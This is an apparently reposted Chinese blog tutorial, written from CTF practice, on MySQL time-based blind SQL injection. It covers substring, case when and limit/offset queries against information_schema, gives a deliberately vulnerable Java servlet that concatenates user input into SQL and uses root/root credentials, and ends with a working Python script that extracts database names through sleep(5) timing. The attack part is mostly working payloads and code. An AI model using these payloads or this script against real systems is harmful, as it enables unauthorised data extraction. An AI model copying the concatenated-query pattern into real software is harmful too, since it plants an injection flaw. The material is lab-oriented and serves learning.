Java写Sql注入时间盲注Demo对Mysql的substring、 case when 、offset、使用以及payload

来源:互联网 发布:淘宝买万艾可打电话 编辑:程序博客网 时间:2024/06/05 20:42

突然想做ctf题遇到了问题。
记录下几个函数的使用

substring是切割函数,可以切割指定字符

先select version
这里写图片描述
切割
这里写图片描述

一定别忘了看用 select
1,1就是说从1开始的到第1个字符

改变获取第二个字符

这里写图片描述

依次加就可以一个一个的获取

如果在mysql中做判断的话是

select (select version())='5.5.40';

这里写图片描述

错误的话返回的是0
这里写图片描述

case when 是做判断那种 条件语句

这里写图片描述

如果将666改成 sleep(5)那么就可以做时间盲注了。
这里写图片描述

offset与limit一起使用的话
这里写图片描述

offset 0的话就没写一样。1的话就是在limit的基础上再+1一个开始显示

如果写limit 1的话就是显示一个嘛,然后后面的offset增加就可以一个一个的显示了。
比如显示所有数据库
这里写图片描述

select schema_name from information_schema.SCHEMATA 

都结合的话

先利用 查询所有数据库

select schema_name from information_schema.SCHEMATA 

这里写图片描述

查询第一个数据库

select schema_name from information_schema.SCHEMATA  limit 1 offset 0

这里写图片描述
可以查询到第一个数据库了,然后再获取这个返回的数据库的第一个字符(substring)

select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 0),1,1);

这里写图片描述

可以让其进行判断,猜,第一次猜是a的话

select((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 0),1,1))='a');

这里写图片描述
一直猜,猜到了i

这里写图片描述
于是返回了1

那我们就猜到了第一个数据库的第一个字符
猜第二个
将切割改为2,1即

select((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 0),2,1))='n');

然后猜到了n
返回1 成功

这里写图片描述

第一个数据库的所有字符猜完了。那么
猜下一个数据库即是offset 1

select((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 1),1,1))='c');

第二个数据库的第一个字符是 c 返回1

这里写图片描述

但是!!!如果获取不到返回值,也就是盲注的话,可以使用基于时间来实现

当对的话就设置sleep(5)
那么就可以判断是否对了
即使用case when来实现
要把之前的select去掉

即:

select case when ((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 1),1,1))='c') then sleep(5) else 1 end;

这里写图片描述

Java实现后端编写。直接执行sql语句的

后端代码:
DBUtil(管理数据了连接关闭)

package dao;import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;import com.sun.corba.se.spi.orb.StringPair;public class DBUtil {    public static Connection getConnection(){        Connection conn =null;        try{            Class.forName("com.mysql.jdbc.Driver");            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test","root","root");        }catch (Exception e) {            e.printStackTrace();        }        return conn;    }    public static void close(Connection conn){        if(conn!=null){            try {                conn.close();            } catch (SQLException e) {                // TODO Auto-generated catch block                e.printStackTrace();            }        }    }    public static void main(String[] args){        Connection conn = getConnection();        System.out.println(conn);    }}

Sqldao.java(管理操作数据的方法)

package dao;import java.sql.Connection;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;public class Sqldao {    public static String findByid(String id) throws SQLException{        String sql = "select * from user where uid="+id;        System.out.println("SQL语句::"+sql);        Connection conn = DBUtil.getConnection();        ResultSet result =  null;        try {            Statement statement = conn.createStatement();            result = statement.executeQuery(sql);            if(result.next()){                String name = result.getString("name");                String age = result.getString("age");                return name+":"+age+"         :"+sql;            }            conn.close();        } catch (SQLException e) {            conn.close();            // TODO Auto-generated catch block            e.printStackTrace();        }        return "null";    }}

Servlet

package servlet;import java.io.IOException;import java.io.PrintWriter;import java.sql.Connection;import java.sql.SQLException;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import dao.DBUtil;import dao.Sqldao;public class sql1 extends HttpServlet {    public void doGet(HttpServletRequest request, HttpServletResponse response)            throws ServletException, IOException {        response.setContentType("text/html");        PrintWriter out = response.getWriter();        Sqldao sqldao = new Sqldao();        String id = request.getParameter("uid");        try {            String data = sqldao.findByid(id);            out.println(data);        } catch (SQLException e) {            // TODO Auto-generated catch block            e.printStackTrace();        }        out.close();    }}

前端:sql1.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>sql1</title><head><style>form{margin-left:400px;margin-top:50px;}</style></head><body><form action="http://localhost:8080/Sql/sql1" method="get"><input type="text" name ="uid" id="uid"/><br/><input type="button" value="查询" id="sub"></form><br/><br/><p id="p"><p></body></html><script src="http://libs.baidu.com/jquery/1.8.3/jquery.min.js"></script><script type="text/javascript">$("#sub").click(function(event) {  var uid = $("#uid").val()  /* Act on the event */   $.ajax({     url: 'sql1',     type: 'get',     dataType: 'html',     data: {'uid':uid},     success:function(html){        $("#p").text(html)     }   })   .done(function() {     console.log("success");   })   .fail(function() {     console.log("error");   })   .always(function() {     console.log("complete");   });});</script>

这里写图片描述

还有ajax提交,然后servlet返回html
原来让servlet返回html就是直接 out.print(html代码)就行了。
然后ajax success成功函数参数html 还有设置返回值也写html

这里写图片描述

输入错误的只是会显示null 并不会报错

这里写图片描述

后端查询数据库使用的是直接拼接字符串

那么根据上面的

输入:

2 and (select case when ((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 1),1,1))='c') then sleep(5) else 1 end);

拼接后的字符串就是

select * from user where uid=2 and (select case when ((select substring((select schema_name from information_schema.SCHEMATA  limit 1 offset 1),1,1))='c') then sleep(5) else 1 end);

数据库中

这里写图片描述

在浏览器中显示也是要5s才能返回nulll

根据payload编写Python代码跑出所有数据库名

# -*- coding:utf-8 -*-  import requestsimport string guess = string.lowercase+string.uppercase+string.digits+string.punctuationdatabase=[]#先循环的是每个数据库也就是{0}for database_number in range(0,2):    database_name=''    #再次循环的是第 database_number 的第几个字符    for database_string in range(1,10):        #再次循环的是比较是哪个字符        for database_str in guess:                url = "http://localhost:8080/Sql/sql1?uid=2%20and%20(select%20case%20when%20((select%20substring((select%20schema_name%20from%20information_schema.SCHEMATA%20limit%201%20offset%20 {0}),{1},1))=%27{2}%27)%20then%20sleep(5)%20else%201%20end);".format(str(database_number),str(database_string),str(database_str))                try:                    html = requests.get(url,timeout=4)                except:                    database_name+=database_str                    print "[+] This id "+str(database_number)+" database is "+database_name                    break;    database.append(database_name)print 'over'for i in database:    print i

这里写图片描述

参考:http://blog.csdn.net/qq_35078631/article/details/54773769

原创粉丝点击